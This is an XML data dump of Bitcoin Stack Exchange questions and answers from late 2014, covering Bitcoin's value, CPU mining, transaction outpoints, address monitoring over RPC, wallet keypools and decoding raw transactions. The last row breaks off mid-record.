  <row Id="32736" PostTypeId="2" ParentId="32730" CreationDate="2014-11-26T15:27:41.183" Score="-1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I guess the question is, does Bitcoin have an intrinsic value&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. You can't eat Bitcoin. Bitcoin has advantages over other forms of barter, but that doesn't give it intrinsic value.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;So Gold indeed has a value just for being Gold!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I agree. Gold has uses besides as a medium of trade. However, the market value of gold is far higher than its intrinsic value. If I had to guess, I'd say that gold's intrinsic value is about $100 per kilogram. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If people of that country don't have Bitcoin bank, then that immediately means that Bitcoin value is almost 0 in that country. If Bitcoin's value is zero, no bank would want to spend money to build a branch there.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Bitcoin didn't have any value immediately after it was created. Yet, there are still companies that exchange Bitcoins for other currencies. So, there's something wrong with this argument.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;is because even if Gold is not money in the country, it's still a commodity to be sold to get money!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Um, by this logic, xylophones and bananas are money. &lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2014-11-26T17:16:43.080" LastActivityDate="2014-11-26T17:16:43.080" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32737" PostTypeId="2" ParentId="32730" CreationDate="2014-11-26T18:46:30.540" Score="3" Body="&lt;p&gt;Talking about intrinsic value is always a difficult discussion. What gives Gold or really anything intrinsic value?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It is of limited quantity. Bitcoin also has a limit to the total&#xA;amount in circulation, and so has an element of digital scarcity&#xA;built into its design to mimic physical scarcity.&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You can't counterfeit it. (Actually you can create gold, it just costs way more than just buying it) Bitcoin can't be copied through&#xA;any known process. You can't transmute lead to gold, nor simply&#xA;convert a random collection of bits into Bitcoin.&lt;/li&gt;&#xA;&lt;li&gt;People accept it for Barter You can use Bitcoin with merchants all over the world, as well as person to person payments. The number&#xA;of people accepting and transacting in Bitcoin is growing every day.&lt;/li&gt;&#xA;&lt;li&gt;You can build physical products with it While not a direct correlation the Bitcoin network is a highly secure trust network.&#xA;Nothing like it has existed before on its scale, and it seems clear&#xA;that quite a bit can be built on top of it. That gives the network&#xA;real value for companies emerging in various new sectors, and how do&#xA;you get access to this network? Bitcoin.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If people believe it has value, trade in it, and it lets you do things that were previously impossible it seems like it has intrinsic value by any definition.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-26T18:46:30.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32738" PostTypeId="1" CreationDate="2014-11-26T19:37:53.477" Score="0" ViewCount="956" Body="&lt;p&gt;I don't need to pay for power to my computer. Is it a good idea to mine LTC or BTC on Intel Core Duo processor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My CPU is 2 x 2.6GHz  (computer woks 24/7)&lt;/p&gt;&#xA;" OwnerUserId="21026" LastEditorUserId="5406" LastEditDate="2016-04-24T09:04:24.317" LastActivityDate="2016-04-24T09:04:24.317" Title="I have free energy; good idea to mine BTC/LTC?" Tags="|mining-profitability|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32739" PostTypeId="2" ParentId="32730" CreationDate="2014-11-26T19:38:27.413" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Take this example, if I take my Bitcoin from the US to Yemen, it would be the equivalent of taking absolutely nothing to Yemen. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You don't need a &quot;bitcoin bank&quot; to exchange Bitcoins with the local currency. You just need to find one guy who is willing to buy the Bitcoins from you in exchange for the local currency. I'm sure there is at least one guy in all of Yemen who knows what Bitcoin is and would be willing to trade with you.  If you can , you just turned &quot;nothing&quot; into however much a Bitcoin is worth in Yemeni rial. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-11-26T19:38:27.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32740" PostTypeId="2" ParentId="32626" CreationDate="2014-11-26T19:53:42.137" Score="1" Body="&lt;p&gt;From what I can gather, there were a bunch of people who were able to claim auroracoins through the airdrop using SMS/Facebook based on various forums and social media outlets. In that sense the airdrop was successful. But who knows how many of the airdrops were legitimate. For all we know, most of the airdrop might have gone to the creators of the coins so they could cash out. I haven't seen any evidence against this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any airdrop that is targeted towards a local population is going to be difficult and costly to pull off because there is no way to easily verify people's identity. Furthermore, how can you verify that the coin's creators aren't claiming the airdrop to themselves? In my opinion, the creator of these coins are using &quot;airdrops&quot; to build up hype and don't really have any practical way of handling the airdrop. Or worse, they fully intend to claim most of the coins themselves and sell it off before it crashes. In a sense , it's an age old pump and dump scheme applied in the alt coin arena.  &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-11-26T19:53:42.137" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32741" PostTypeId="2" ParentId="32738" CreationDate="2014-11-26T20:45:02.480" Score="3" Body="&lt;p&gt;Mining on both Bitcoin and Litecoin is now dominated by ASICs. Even with Litecoin, you'd only mine at best about US$0.45 worth in a year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should have better luck if you can find a cryptocoin based on something besides SHA-256 or scrypt, for which there is no GPU or ASIC mining, such as &lt;a href=&quot;http://riecoin.org/&quot; rel=&quot;nofollow&quot;&gt;Riecoin&lt;/a&gt; or &lt;a href=&quot;https://www.darkcoin.io/&quot; rel=&quot;nofollow&quot;&gt;Darkcoin&lt;/a&gt;. &lt;a href=&quot;http://cpucoinlist.com/&quot; rel=&quot;nofollow&quot;&gt;http://cpucoinlist.com/&lt;/a&gt; lists some more CPU-friendly coins.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-11-26T20:45:02.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32743" PostTypeId="1" CreationDate="2014-11-26T21:51:02.780" Score="0" ViewCount="379" Body="&lt;p&gt;I want to know if a certain output is spent. I am not using bitcoind, I do not have a gettxout RPC call available. How can I learn if a vout is referenced as an input somewhere in the blockchain or accepted mempool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mean just for my wallet, I want to know if an output has been spent on the network somewhere.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="2306" LastEditDate="2014-12-27T00:50:24.957" LastActivityDate="2014-12-27T00:50:24.957" Title="How can I find out if a transaction used a specific vout as its input?" Tags="|transactions|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32744" PostTypeId="2" ParentId="32738" CreationDate="2014-11-26T22:04:01.830" Score="1" Body="&lt;p&gt;Both of these links discuss how to CPU mine profitably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cpucoinlist.com/how-to/how-to-cpu-mine-x11/&quot; rel=&quot;nofollow&quot;&gt;http://cpucoinlist.com/how-to/how-to-cpu-mine-x11/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=439874.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=439874.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you don't pay for power... Try to partner up with someone with a good mining rig and divide the profits.&lt;/p&gt;&#xA;" OwnerUserId="21303" LastEditorUserId="2306" LastEditDate="2014-11-27T04:20:03.893" LastActivityDate="2014-11-27T04:20:03.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32745" PostTypeId="2" ParentId="32743" CreationDate="2014-11-26T23:46:33.307" Score="1" Body="&lt;p&gt;You need a way of querying the unspent pool in order to do this. A workaround is to lookup the transaction that is being referenced via some public api, blockchain etc, and check the referenced output as they usually mark them as spent/unspent. You can do this programatically by querying for all unspents for the addresses referenced by the output in question and filtering it for the one you want.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-26T23:46:33.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32746" PostTypeId="1" CreationDate="2014-11-27T03:22:00.653" Score="2" ViewCount="139" Body="&lt;p&gt;I am reading the transaction part. I don't know how to get the transaction hash. Does the whole transaction (include its vins and vouts) get hashed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a transaction has two vouts (spent by different transaction tx2 and t3), when t2 and t3 spent the vout, they will get the same prevout hash. Is that correct? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tx1:  tx1_out1  --------&amp;gt; node_A ----tx2(using tx1_out1)---&amp;gt; &#xA;      tx1_out2  --------&amp;gt; node_B ----tx3(using tx1_out2)---&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will tx2 and tx3 have conflicts, since tx1_out1 and tx1_out2 are spending the same hash?&lt;/p&gt;&#xA;" OwnerUserId="21175" LastEditorUserId="2306" LastEditDate="2014-11-27T04:13:10.793" LastActivityDate="2016-09-09T03:03:49.293" Title="Can two outputs from the same transaction be spent separately?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32747" PostTypeId="2" ParentId="32746" CreationDate="2014-11-27T04:16:40.613" Score="5" Body="&lt;h3&gt;Short answer&lt;/h3&gt;&#xA;&lt;p&gt;Your questions, in order: Yes. Yes. No.&lt;/p&gt;&#xA;&lt;h3&gt;Long answer&lt;/h3&gt;&#xA;&lt;p&gt;When spending the output of a transaction, it is not enough to know the txid. You also need to know the index of the output. (In other words, whether it is the first, second, third, etc. output.)&lt;/p&gt;&#xA;&lt;p&gt;The hash of the transaction you're spending and the index of the output you're spending is collectively known as an &lt;em&gt;outpoint&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quoting the Bitcoin wiki:&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The OutPoint structure consists of the following fields:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Field Size: 32&lt;br /&gt;&#xA;Description: hash&lt;br /&gt;&#xA;Data Type: char[32]&lt;br /&gt;&#xA;The hash of the referenced transaction.&lt;/li&gt;&#xA;&lt;li&gt;Field Size: 4 bytes&lt;br /&gt;&#xA;Description: index&lt;br /&gt;&#xA;Data Type: uint32_t&lt;br /&gt;&#xA;The index of the specific output in the transaction. The first output is 0, etc.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;See also the &lt;a href=&quot;https://bitcoin.org/en/glossary/outpoint&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.org docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-09-09T03:03:49.293" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32748" PostTypeId="1" CreationDate="2014-11-27T09:24:19.167" Score="0" ViewCount="1707" Body="&lt;p&gt;This is usual checkout functionality. Show address to the user and needs to monitor it for new transaction during n minutes. Addresses are not unique for each payment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Optional:it would be good to have listener for transaction with certain incoming amount, but this is optional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain.info have something similar, but I want to it using local bitcoin-qt from .Net application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Update: this should be done for non-wallet addresses/transactions.&lt;/p&gt;&#xA;" OwnerUserId="7106" LastEditorUserId="2306" LastEditDate="2014-12-02T17:44:48.133" LastActivityDate="2022-01-23T23:28:07.047" Title="Monitor non-wallet bitcoin addresses for new transactions" Tags="|transactions|bitcoin-core|.net|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32749" PostTypeId="1" CreationDate="2014-11-27T12:31:11.500" Score="1" ViewCount="1743" Body="&lt;p&gt;Im trying to learn how is it possible to Hard Fork an Altcoin Blockchain to Continue the Mining Phase after the LAST POW BLOCK. The Block Reward is already 0 and the LAST POW stops at Block 8000. And want to know if there is a way to continue the mining after the 8000 without any SYNC Problem and Stuck Problem.&lt;/p&gt;&#xA;" OwnerUserId="21307" LastEditorUserId="5406" LastEditDate="2016-04-24T09:31:11.717" LastActivityDate="2016-05-31T21:04:11.987" Title="How to fork an Altcoin Which has 0 Reward Block to continue mining after the LAST POW BLOCK" Tags="|blockchain|block|altcoin|mining-reward|altcoin-development|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32751" PostTypeId="2" ParentId="30230" CreationDate="2014-11-27T16:54:25.047" Score="0" Body="&lt;p&gt;I think there is some general confusion as to what a wallet is, and how you interface with one. I'll try to be detailed but not too nitty-gritty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A wallet is really two connected things. First it is a collection of private/public keypairs. In the case of standard addresses (P2PKH) each public/private keypair matches to 2 distinct Bitcoin addresses. This is because you can derive two addresses from the keypair because there is a compressed and uncompressed representation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of multi-signature the address is constructed based on all of the public keys involved in the transaction. This can create many addresses that represent the same keypairs or combinations thereof.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the comment above you want to run a site that does 2ofN multisignature. Which means you control one of the keys at least, this means that your wallet is a collection of addresses that you have partial control of. At any time you can sum the balance of every address you mutually control with the user and come up with a total balance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the answer is yes, you can contact the user when the balance falls below a certain amount since you have total knowledge of all keys that the user is using since you are  party to them. This lets you compute based on the public ledgers information. This is also true for HD wallets / Keys so long as you compute a collection of multisig addresses derived from the HD keys.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-27T16:54:25.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32752" PostTypeId="2" ParentId="32748" CreationDate="2014-11-27T17:00:55.130" Score="1" Body="&lt;p&gt;Bitcoin-qt has several limitations when it comes to this type of thing. There are only really two ways to do this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the listunspents RPC call to watch the balance for a particular address, and compute the total balance. Then trigger your call on the backend from your .net application.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the external wallet-notify bitcoind option that sends transaction data to your .net process via a script, parse the result to determine the payment. This can cause problems on high volume sites as it spawns external processes per wallet notify.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Finally, you can only use this method to interact with addresses registered to the local bitcoind. Either addresses it controls, or that you have manually loaded. &lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-27T17:00:55.130" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="32753" PostTypeId="1" CreationDate="2014-11-27T17:25:19.647" Score="2" ViewCount="531" Body="&lt;p&gt;In the mining process, everytime a block has to be confirmed, a certain hash with an incremental nonce is generated: If the nonce is a 32 bit number it can assume a value between 0 and 2^32 - 1. It gives about max 4.000.000.000  attempts on the same block to find the right hash. But if the target begins with 13 zeroes why isn't 2^32 too little to find the correct hash?&lt;/p&gt;&#xA;" OwnerUserId="21309" LastEditorUserId="5406" LastEditDate="2016-03-16T10:43:43.130" LastActivityDate="2016-03-16T10:43:43.130" Title="Has the nonce used in mining been sized?" Tags="|coinbase-transaction|mining-technical-details|nonce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32754" PostTypeId="2" ParentId="32753" CreationDate="2014-11-27T17:30:55.703" Score="7" Body="&lt;p&gt;First of all, when 1 second has passed, the miner can just increment the timestamp in the header. This already gives us 4 Ghash/s rather than 4 GHash/block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When this is not enough, and the nonce range is exhausted before a second has passed, the miner builds a new proposed block with a hash to search through. Specifically, the very first transaction in the block (the coinbase, which also receives the subsidy and fees) has a 100-byte area that essentially contains arbitrary data. So miners use this area as an 'extra nonce'.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-11-27T17:30:55.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32755" PostTypeId="2" ParentId="32748" CreationDate="2014-11-27T17:45:31.883" Score="2" Body="&lt;p&gt;In order to monitor specific receiving addresses for incoming transactions through the RPC API you should make use of the &lt;code&gt;listreceivedbyaddress&lt;/code&gt; method. Adding these parameters: &lt;code&gt;listreceivedbyaddress(0, true)&lt;/code&gt; will also return zero-confirmation and empty addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most efficient way to monitor all incoming transactions with a specific amount is by calling &lt;code&gt;listsinceblock&lt;/code&gt;, keeping track of the last scanned-by-your-app block and passing it as a parameter: &lt;code&gt;listsinceblock(lastScannedBlockHash, targetConfirmations)&lt;/code&gt; so you effectively scan only the new block, which is very fast and lightweight. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A battle-tested library for performing the above in &lt;code&gt;.net&lt;/code&gt; is &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;BitcoinLib&lt;/a&gt; which also comes as a NuGet packet:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GitHub: &lt;a href=&quot;https://github.com/GeorgeKimionis/BitcoinLib&quot; rel=&quot;nofollow&quot;&gt;https://github.com/GeorgeKimionis/BitcoinLib&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;NuGet: &lt;a href=&quot;https://www.nuget.org/packages/BitcoinLib/&quot; rel=&quot;nofollow&quot;&gt;https://www.nuget.org/packages/BitcoinLib/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-11-27T17:45:31.883" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32756" PostTypeId="1" AcceptedAnswerId="32757" CreationDate="2014-11-27T18:07:09.943" Score="3" ViewCount="3105" Body="&lt;p&gt;I need a api or an application that can generate and handle (send/receive and so on...) multi currency wallet.&#xA;For an example: It can generate dogecoin address, bitcoin address, litecoin address, peercoin address and so on... and handle them. Like send/receive/check balance.&lt;/p&gt;&#xA;" OwnerUserId="21259" LastEditorUserId="21259" LastEditDate="2014-11-27T18:16:09.927" LastActivityDate="2018-02-01T05:18:17.217" Title="Multi-currency wallet api" Tags="|litecoin|api|currencies|dogecoin|digitalcoin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32757" PostTypeId="2" ParentId="32756" CreationDate="2014-11-27T18:14:41.310" Score="0" Body="&lt;p&gt;There are a few API providers that do multi-currency / wallet integration. The first that comes to mind is &lt;a href=&quot;https://www.block.io/&quot; rel=&quot;nofollow&quot;&gt;https://www.block.io/&lt;/a&gt; they support LiteCoin/DogeCoin and Bitcoin. There may be others that have even wider digital currency support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way that most people do this is by running separate instances for each client blockchain and then using the RPC interface. There are similarities between most of the coins that forked Bitcoin. So although more resource intensive you could run each client you were interested in and use the native interface to communicate with them individually.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-27T18:14:41.310" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32758" PostTypeId="2" ParentId="32756" CreationDate="2014-11-27T18:48:34.323" Score="3" Body="&lt;p&gt;I am developing an open source wallet that handles multiple currencies and stores the keys in a deterministic key chain (BIP44).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is currently on Android but it is written in am modular way so that the core library could be used in any java application. The library is based on a slightly modified Bitcoinj and for the blockchain queries it uses Electrum servers. It supports BTC, LTC, DOGE and in beta PPC, DRK, RDD and I am adding now NuBits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check out the repo from here: &lt;a href=&quot;https://github.com/Coinomi/coinomi-android&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Coinomi/coinomi-android&lt;/a&gt;. At some point I will separate the core lib from the android app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;enjoy&lt;/p&gt;&#xA;" OwnerUserId="13746" LastActivityDate="2014-11-27T18:48:34.323" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32759" PostTypeId="2" ParentId="23512" CreationDate="2014-11-27T23:49:37.903" Score="0" Body="&lt;p&gt;Tim S. already alluded to this but it has to do with the performance penalty of a keypoolrefill. If you have a really large pool because you run a high volume site and don't want to frequently backup your wallet as an example you may want to run keypoolrefill at off-peak so as not to impact the performance of Bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise keypoolrefill will run once the pool is exhausted which may happen at an inopportune time.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2014-11-27T23:49:37.903" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32760" PostTypeId="2" ParentId="23512" CreationDate="2014-11-28T02:10:08.337" Score="2" Body="&lt;p&gt;Most people don't need to use &lt;code&gt;keypoolrefill&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin Core tries to fill the keypool to its configured maximum size whenever you take an address from the keypool. (It does &lt;em&gt;not&lt;/em&gt; wait until the keypool is empty before regenerating it.) However, it isn't possible to add keys to the keypool unless the wallet is unlocked with &lt;code&gt;walletpassphrase&lt;/code&gt;. So if you call &lt;code&gt;getnewaddress&lt;/code&gt; 100 times (by default), your keypool will be empty and you will be prompted to unlock your wallet and run &lt;code&gt;keypoolrefill&lt;/code&gt;. The same effect could be achieved by unlocking your wallet and then generating another address, which will also cause the keypool to be topped up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another use is if you want to temporarily increase the size of your keypool. For example, a really safe way of doing payment processing is to generate an encrypted wallet with a strong passphrase, generate thousands of keys using &lt;code&gt;keypoolrefill 10000&lt;/code&gt; or whatever, put this wallet on the live payment processing server, but only use the commands that don't require unlocking the wallet. Then even if the live server is compromised, the attacker can't steal the money because he can't unlock the wallet. This is similar to the idea of a watch-only wallet. You could do the same thing with the &lt;code&gt;keypool&lt;/code&gt; setting, but I guess that restarting Bitcoin Core might be inconvenient in some cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running Bitcoin with &lt;code&gt;-keypool=0&lt;/code&gt; and then only manually adjusting the keypool  with &lt;code&gt;keypoolresize&lt;/code&gt; might also be useful for some backup strategies, or if you have multiple servers using the same wallet (which is not recommended, but maybe possible if you're really careful).&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-11-28T02:16:03.097" LastActivityDate="2014-11-28T02:16:03.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32761" PostTypeId="1" CreationDate="2014-11-28T06:28:01.867" Score="0" ViewCount="555" Body="&lt;p&gt;Consider the following scenario, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 365 USD in Btc-e and 1 BTC in Cryptsy, now I bought 1 BTC at a price of 362 USD in Btc-e and sell it on Cryptsy with 370 USD, now I made the profit of 4 USD (included txn fee), now the current market price of 1 BTC is 370 USD&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Market price I mentioned was 1 BTC = 360 USD&lt;img src=&quot;https://i.stack.imgur.com/gdveJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How the market price affect my profit?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Still I have 8 USD profit in Cryptsy or I made a loss/profit with respect to market price?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14629" LastEditorUserId="14629" LastEditDate="2014-11-28T10:39:42.793" LastActivityDate="2014-12-28T23:04:43.253" Title="Is bitcoin arbitrage profit varies with BTC market price?" Tags="|buy-bitcoins|btce|sell-bitcoins|arbitrage|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32763" PostTypeId="2" ParentId="32748" CreationDate="2014-11-28T08:49:36.820" Score="0" Body="&lt;p&gt;If you gonna do this. Lets say RPCCMDS+.net server is better than bitcoin-qt server which betters than bicoind.exe server.If you don't owe those addresses ,just ask blockchain API for mercy.&lt;/p&gt;&#xA;" OwnerUserId="20967" LastEditorUserId="20967" LastEditDate="2014-11-28T08:56:31.857" LastActivityDate="2014-11-28T08:56:31.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32764" PostTypeId="2" ParentId="32749" CreationDate="2014-11-28T09:52:00.230" Score="2" Body="&lt;p&gt;I don't know ,if you created the coin ,it will be very easy for u to extend the pos margin block area(those pow blocks:&gt;)You not only need to differ the blocks when CreateNewBlock by nBestBlockHeight but also need to do some modifies in &quot;getblock&quot; message blocktype checking.&#xA;That's all i got ; If this helps please tip me some reputations guys,this new &quot;50 reputation&quot; for comments nearly silent me  .&lt;/p&gt;&#xA;" OwnerUserId="20967" LastActivityDate="2014-11-28T09:52:00.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32765" PostTypeId="1" AcceptedAnswerId="32767" CreationDate="2014-11-28T15:56:50.467" Score="8" ViewCount="10561" Body="&lt;p&gt;I'm trying to parse a bitcoin block using Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I called getrawtransaction over JSON-RPC. I got this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d014dffffffff0100f2052a01000000434104e70a02f5af48a1989bf630d92523c9d14c45c75f7d1b998e962bff6ff9995fc5bdb44f1793b37495d80324acba7c8f537caaf8432b8d47987313060cc82d8a93ac00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I calculate the txid of this raw transaction?&lt;/p&gt;&#xA;" OwnerUserId="21322" LastEditorUserId="2306" LastEditDate="2014-11-28T16:25:41.450" LastActivityDate="2018-12-02T03:52:58.133" Title="How do I calculate the txid of this raw transaction?" Tags="|sha256|transaction-id|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32766" PostTypeId="2" ParentId="32765" CreationDate="2014-11-28T16:17:58.433" Score="3" Body="&lt;p&gt;Call: &lt;code&gt;bitcoin-cli decoderawtransaction 01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff0704ffff001d014dffffffff0100f2052a01000000434104e70a02f5af48a1989bf630d92523c9d14c45c75f7d1b998e962bff6ff9995fc5bdb44f1793b37495d80324acba7c8f537caaf8432b8d47987313060cc82d8a93ac00000000&lt;/code&gt; from your bitcoin client, you'll get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;2d05f0c9c3e1c226e63b5fac240137687544cf631cd616fd34fd188fc9020866&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;coinbase&quot; : &quot;04ffff001d014d&quot;,&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 50.00000000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;04e70a02f5af48a1989bf630d92523c9d14c45c75f7d1b998e962bff6ff9995fc5bdb44f1793b37495d80324acba7c8f537caaf8432b8d47987313060cc82d8a93 OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;4104e70a02f5af48a1989bf630d92523c9d14c45c75f7d1b998e962bff6ff9995fc5bdb44f1793b37495d80324acba7c8f537caaf8432b8d47987313060cc82d8a93ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkey&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;13A1W4jLPP75pzvn2qJ5KyyqG3qPSpb9jM&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use Gavin Andresen's deserializing script written in Python: &lt;a href=&quot;https://github.com/gavinandresen/bitcointools/blob/master/deserialize.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/gavinandresen/bitcointools/blob/master/deserialize.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" 